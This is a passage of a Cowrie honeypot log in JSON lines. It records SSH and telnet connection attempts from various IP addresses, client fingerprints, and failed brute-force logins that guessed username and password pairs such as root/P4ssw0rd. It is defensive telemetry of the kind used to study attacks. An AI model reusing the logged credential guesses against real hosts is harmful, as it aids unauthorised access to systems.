{"eventid":"cowrie.session.closed","duration":120.0061399936676,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:53.822865Z","src_ip":"186.55.200.230","session":"f1730142db57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":44510,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c9b5fcd3f54","protocol":"telnet","message":"New connection: 186.55.200.230:44510 (159.203.135.109:23) [session: 5c9b5fcd3f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:55.743490Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":59674,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed395ce09508","protocol":"ssh","message":"New connection: 14.103.118.145:59674 (159.203.135.109:22) [session: ed395ce09508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:56.239626Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":45742,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e7b9c39292d","protocol":"telnet","message":"New connection: 186.55.200.230:45742 (159.203.135.109:23) [session: 0e7b9c39292d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:57.280855Z"}
{"eventid":"cowrie.session.closed","duration":120.00369644165039,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:59.517677Z","src_ip":"186.55.200.230","session":"8c919ba2cb3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":44800,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b1e3c0b4cd","protocol":"telnet","message":"New connection: 186.55.200.230:44800 (159.203.135.109:23) [session: 52b1e3c0b4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:00.401578Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":45804,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f784b20bd9","protocol":"telnet","message":"New connection: 186.55.200.230:45804 (159.203.135.109:23) [session: 73f784b20bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:02.447725Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35282,"dst_ip":"159.203.135.109","dst_port":22,"session":"6568a9e71598","protocol":"ssh","message":"New connection: 103.27.238.120:35282 (159.203.135.109:22) [session: 6568a9e71598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:06.844657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:06.850619Z","src_ip":"103.27.238.120","session":"6568a9e71598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:07.138399Z","src_ip":"103.27.238.120","session":"6568a9e71598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60440,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08f75b42653","protocol":"ssh","message":"New connection: 103.27.238.116:60440 (159.203.135.109:22) [session: e08f75b42653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:07.307307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:07.312780Z","src_ip":"103.27.238.116","session":"e08f75b42653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:07.588820Z","src_ip":"103.27.238.116","session":"e08f75b42653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modern","message":"login attempt [root/modern] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:07.968881Z","src_ip":"103.27.238.120","session":"6568a9e71598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":17990,"dst_ip":"10.17.0.5","dst_port":22,"session":"96f02e310fd6","protocol":"ssh","message":"New connection: 180.243.191.141:17990 (10.17.0.5:22) [session: 96f02e310fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:08.033043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:08.041320Z","src_ip":"180.243.191.141","session":"96f02e310fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:08.317232Z","src_ip":"180.243.191.141","session":"96f02e310fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fermer","message":"login attempt [root/fermer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:08.391046Z","src_ip":"103.27.238.116","session":"e08f75b42653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:09.250618Z","src_ip":"103.27.238.120","session":"6568a9e71598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssw0rd","message":"login attempt [root/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:09.415498Z","src_ip":"180.243.191.141","session":"96f02e310fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:09.661184Z","src_ip":"103.27.238.116","session":"e08f75b42653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:10.686163Z","src_ip":"180.243.191.141","session":"96f02e310fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46838,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d0438fe2bcf","protocol":"ssh","message":"New connection: 147.45.199.80:46838 (159.203.135.109:22) [session: 5d0438fe2bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:10.873567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:10.883381Z","src_ip":"147.45.199.80","session":"5d0438fe2bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:10.986062Z","src_ip":"147.45.199.80","session":"5d0438fe2bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kitty","message":"login attempt [root/kitty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:11.278243Z","src_ip":"147.45.199.80","session":"5d0438fe2bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:12.376688Z","src_ip":"147.45.199.80","session":"5d0438fe2bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":45306,"dst_ip":"10.17.0.5","dst_port":22,"session":"40c51b3c7141","protocol":"ssh","message":"New connection: 171.244.141.86:45306 (10.17.0.5:22) [session: 40c51b3c7141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:16.083421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:16.091114Z","src_ip":"171.244.141.86","session":"40c51b3c7141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:16.402943Z","src_ip":"171.244.141.86","session":"40c51b3c7141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Salim123","message":"login attempt [root/Salim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:17.388119Z","src_ip":"171.244.141.86","session":"40c51b3c7141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:18.633375Z","src_ip":"171.244.141.86","session":"40c51b3c7141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":37906,"dst_ip":"10.17.0.5","dst_port":22,"session":"72b863aa17ff","protocol":"ssh","message":"New connection: 50.116.72.139:37906 (10.17.0.5:22) [session: 72b863aa17ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:20.907182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:20.912074Z","src_ip":"50.116.72.139","session":"72b863aa17ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:20.939030Z","src_ip":"50.116.72.139","session":"72b863aa17ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:21.077897Z","src_ip":"50.116.72.139","session":"72b863aa17ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:22.108036Z","src_ip":"50.116.72.139","session":"72b863aa17ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00646877288818,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:26.282541Z","src_ip":"95.86.136.87","session":"8228635051dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48030,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e12a2dd459c","protocol":"ssh","message":"New connection: 37.233.85.71:48030 (159.203.135.109:22) [session: 5e12a2dd459c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.221888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.255338Z","src_ip":"37.233.85.71","session":"5e12a2dd459c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.366460Z","src_ip":"37.233.85.71","session":"5e12a2dd459c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lisalisa","message":"login attempt [root/lisalisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.692754Z","src_ip":"37.233.85.71","session":"5e12a2dd459c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":48270,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc13e31cb5cf","protocol":"ssh","message":"New connection: 89.190.156.8:48270 (10.17.0.5:22) [session: bc13e31cb5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.850985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.864645Z","src_ip":"89.190.156.8","session":"bc13e31cb5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 